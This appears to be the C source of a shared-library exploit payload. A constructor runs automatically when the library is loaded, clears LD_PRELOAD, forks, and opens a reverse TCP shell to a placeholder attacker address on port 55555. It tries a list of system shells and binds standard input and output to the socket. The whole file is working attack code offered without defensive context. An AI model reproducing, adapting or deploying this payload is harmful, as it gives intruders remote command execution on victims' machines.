#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#ifdef OLD_LIB_SET_1
__asm__(".symver system,system@GLIBC_2.0");
__asm__(".symver fork,fork@GLIBC_2.0");
#endif

#ifdef OLD_LIB_SET_2
__asm__(".symver system,system@GLIBC_2.2.5");
__asm__(".symver fork,fork@GLIBC_2.2.5");
#endif

static void _reverse_tcp_shell(void) {

  int fd, i;
  struct sockaddr_in addr;
  char *lport = "55555";
  char *lhost = "000.000.000.000";
  char *shells[] = {
    "/bin/bash",
    "/usr/bin/bash",
    "/bin/sh",
    "/usr/bin/sh",
    "/bin/ash",
    "/usr/bin/ash",
    "/bin/dash",
    "/usr/bin/dash",
    "/bin/csh",
    "/usr/bin/csh",
    "/bin/ksh",
    "/usr/bin/ksh",
    "/bin/busybox",
    "/usr/bin/busybox",
    NULL
  };

  fd = socket(PF_INET, SOCK_STREAM, 0);
  addr.sin_port = htons(atoi(lport));
  addr.sin_addr.s_addr = inet_addr(lhost);
  addr.sin_family = AF_INET;

  memset(addr.sin_zero, 0, sizeof(addr.sin_zero));

  for (i=0; i<10; i++) {
    if (! connect(fd, (struct sockaddr *)&addr, sizeof(struct sockaddr))) {
      break;
    }
  }

  for (i=0; i<3; i++) {
    dup2(fd, i);
  }

  /* Keep trying until execl() succeeds */
  for (i=0; ; i++) {
    if (shells[i] == NULL) break;
    execl(shells[i], "sh", NULL);
  }

  /* Close the connection if we failed to find a shell */
  close(fd);
}

static void _run_payload_(void) __attribute__((constructor));

static void _run_payload_(void)
{
    unsetenv("LD_PRELOAD");
    if (! fork())
      _reverse_tcp_shell();

    exit(0);
}
